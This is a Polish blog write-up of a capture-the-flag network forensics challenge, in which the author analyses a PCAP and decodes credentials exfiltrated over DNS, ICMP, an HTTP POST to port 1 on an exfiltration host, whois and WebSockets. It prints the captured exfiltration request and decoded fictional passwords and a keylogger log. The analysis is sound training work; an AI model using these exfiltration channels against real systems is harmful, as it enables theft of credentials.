0x00 Kolejny PCAP do analizy

W poprzednim artykule, przedstawiłem rozwiązanie zadania, które polegało na wyzerowaniu pomiarów smart licznika w celu małej korekcji kosztów ogrzewania mieszkania przez pana Kowalskiego. Udało się rozwiązać zadanie jako pierwszemu (co było dziwne, bo zadanie należało do tych z serii proste i trochę przekombinowałem patrząc na rozwiązanie podrzucone przez autora). Od tamtego momentu pojawiły się jeszcze dwa zadania, które również udało mi się zgłosić i załapać na główną nagrodę (jeden opisałem tu) :) dziś będzie o tym ostatnim konkursie, który pojawił się razem z całkiem fajną prelekcją (a może webinarem?) Pawła Maziarza na temat różnych zastosowań PowerShella oczywiście.

0x01 Kończąc przydługi wstęp…

…wskoczmy od razu do tego o co w tym wyzwaniu chodziło. Wejściowy PCAP znajduje się (a przynajmniej znajdował 03 VII 2020 godz. 19:26 CEST) tu. Celem graczy było odpowiedzenie na poniższe trzy podpunkty:

Kolejne kroki należą do Ciebie! Twoje zadanie polega na:

Znalezieniu lokalizacji sejfu​
Podaniu PIN otwierającego skrytkę​
Podaniu metody eksfiltracji wraz z wyeksfiltrowanymi danymi​ – prosimy o podanie przynajmniej 3ech metod, ale im więcej tym lepiej

W tym zadaniu skorzystałem ze standardowego narzędzia, oczywistego wyboru jeśli chodzi o analizę PCAPów - WireSharka. Pewnie jakieś konsolowe wersje czy też - o czym dowiedziałem się od Kolegi na Dicordzie - narzędzia online jak to, dałyby sobie radę. Wszak chodzi tylko o przeanalizowanie ruchu sieciowego.

Początek analizy

Zapis pakietów zaczyna się zaszyfrowaną sesją SSH. Od samego początku wydawało mi się, że jest to raczej mało prawdopodobny kanał do eksfiltracji danych. Dlatego też nie skupiałem się za nadto nad analizą tych pakietów. Później sam autor wyzwania sprostował:

Ze swojej strony dodam, że podczas analizy tego pcapa należy zwrócić uwagę na to jakie dane zostały wyeksfiltrowane (najlepiej dołączyć do odpowiedzi). Pozwoli to uniknąć false-positive, bo jeśli nie widać jakie dane były eksfiltrowane (np. w TLS), to oznacza, że tak eksfiltrowane nie były.

0x11 Lokalizacja sejfu

Zadanie zacząłem od tyłu, nie zgłębiając się w konkretne pakiety wyświetliłem sobie ciągi znaków poleceniem strings. Warto nadmienić, że to narzędzie może nie jest najlepszym pomysłem w przypadku niezaufanych plików dlatego zalecam uważać :).

a co my tu mamy

Od razu ciąg wysłany jako Authorization: Basic wydaje się ciekawy. Standardowo w tym nagłówku przesyłany jest ciąg będący zakodowanym w BASE64 tekstem składającym się z dwóch rozdzielanych dwukropkiem pól ID:pass. Nie inaczej jest tym razem.

Literka:\fakepath\
λ echo YWRtaW46U2VqZiB6bmFqZHVqZSBzaWUgbmEgdWxpY3kgR3JvZHpraWVqIDEwLzExIHphIG9icmF6ZW0gVXBhZGxlaiBNYWRvbm55IHogV2llbGtpbSBDeWNlbS4gUElOIGRvIHNlamZ1IHRvIDg4OTE4ODEu | base64 -d
admin:Sejf znajduje sie na ulicy Grodzkiej 10/11 za obrazem Upadlej Madonny z Wielkim Cycem. PIN do sejfu to 8891881.

Wygląda na to, że podpunkt 1) mamy załatwiony. Gdyby ktoś nie zrozumiał aluzji to jest to nawiązanie do tego i serialu ’Allo ’Allo!. Ja nie wiedziałem.

0x12 I sposób eksfiltracji

Spoglądając na dump pierwsze co rzuca się w oczy jest nawiązanie połączenia a potem wysłanie zapytania GET /g/dnsex. Jak sama nazwa wskazuje może chodzić o eksfiltrację przez DNS (piszę to z pełną powagą :) ). Daleko szukać nie musimy, zapytanie kieruje tu czyli kodu PowerShella, który eksfiltruje dane z wykorzystaniem zapytań DNS. Sama idea działania skryptu jest na tyle prosta, że nie ma sensu abym próbował go tłumaczyć.

req full uri

Bardzo pomysłowe. Na kolanie napisałem wyrażenie w Pythonie, które wyglądało mniej więcej tak:


In [17]: def totext(intarr):
    ...:     a = intarr.split('.')[:2]
    ...:     txt = ""
    ...:     for i in a:
    ...:         for j in textwrap.wrap(i,2):
    ...:             txt += chr(int(j, 16))
    ...:     return txt

I wszystkie ciągi znajdujące się pomiędzy __begin__ oraz __end__ spróbowałem czymś takim zdekodować.

dns exfil

Aby ułatwić sobie pracę i nie przepisywać jak stażysta wyciągnąłem stringsy z PCAPa i wrzuciłem je w zbiór (set) aby pozbyć się duplikatów. Po zdekodowaniu wyszło coś takiego:

admin1001:P@ssw0rd!!
administrator:Wladca2020!
operator:ITRulez0101
support:support/it/2020
lukasz:Wiosna2020!
michal:Jesien2020!
Dark:uUta5653iiasndasduYyqadi123

Ciekawe czy Paweł używa gdzieś tego ostatniego hasła… ;)

0x13 II sposób eksfiltracji

Kolejnym sposobem eksfiltracji było wykorzystanie protokołu ICMP. Tutaj znowu hint podszedł od tyłu do zawodnika i uderzył go w potylicę. Kod eksfiltrujący dane znajduje się tu i również nie będę zanudzał Czytelników jego interpretacją (mam na myśli, że wszystko jest czytelne, bo samo podejście do zagadnienia jest bardzo ciekawe i znane od dawna). Należy przyjrzeć się polu data. Tym razem złożyłem to takim wyrażeniem

In [21]: for i in w:
    ...:     print(''.join(chr(int(j, 16)) for j in textwrap.wrap(i,2)))

Domyślam się, że da się ładniej i łatwiej, ale moim celem było zrobić to szybko a nie według sztuki. Główna zasada CTFów cokolwiek działa - działa (tłumaczenie własne).

icm exfil

W efekcie otrzymałem

---begin---
--- 04.06.2020 20:00 Keylogger start ---
Czesc,
as
https://wladcysieci.pl/log-in/
admin
WladcaWielki/Doskonaly
:wq
---end---

(Polecam :x albo ZZ btw, jest szybciej #vimprotip)

0x14 III sposób eksfiltracji

Surfując dalej po pakietach, przewijając kolejne strumienie TCP natrafiłem na ciekawe zapytanie POST. O tyle ciekawe, że wysłane na port 1.

POST / HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; pl-PL) WindowsPowerShell/5.1.18362.752
Content-Type: application/x-www-form-urlencoded
Host: exfil.aptmc.pl:1
Content-Length: 134
Connection: Keep-Alive

.[A

..u.s.e.r.:.j.o.l.a.n.t.a...k.u.k.u.k.u.b.a.,.d.o.m.a.i.n.:.s.i.g.m.a.g.u.a.r.d...a.d.,.p.a.s.s.w.o.r.d.:.1.q.2.w.3.e.$.R.K.o.t.y.

post_port_1

0x15 IV sposób eksfilracji

Następnym sposobem na wycieknięcie (przepraszam, nie mogłem się powstrzymać) komuś danych z sieci było wykorzystanie zapytania whois.

administrator
Wladca997Sieci---

whois eks

0x16 V sposób eksfiltracji

Przewijając pakiety w głównym oknie WireSharka natrafiamy na zapytanie GET na port 8181, które powoduje przejście na protokuł WebSocketów. Dalej wysyłane są nimi następujące bajty:

admin887190001 WWladcySiecinimajaHasla..nieDo/za8pa&mietania

websock ex

Za ostatni sposób eksfiltracji danych uznałem zapytanie przedstawione w podpunkcie lokalizacja sejfu. I cóż, to wystarczyło.

email

0x20 Podsumowanie

Reasumując, zadanie jakie było każdy widzi :) zajęło mi może z 15 minut. Najwięcej czasu poświęciłem na szukanie jakiejś podpuchy, fałszywej flagii, miejsca gdzie mógłbym wykorzystać działające credentiale (jeśli kogoś interesuje - nie, nie pasują do wladcysieci.pl). Zadania mogłyby być trudniejsze, co nie jest tylko moim głosem. Dziwię się, że z moim powolnym tempem nie zostałem wyprzedzony :) ale dzięki temu mogę się cieszyć z hattricka rozwiązań. Niestety w tym tygodniu nie było żadnego wyzwania :(. Jeśli czas pozwoli będę zaglądał na stronę organizatorów, może znów wezmę udział w zabawie. Wladcomsieci dziękuję za zabawę, paczuszki do mnie dotarły :) Do następnego!

foxtrot_charlie over and out!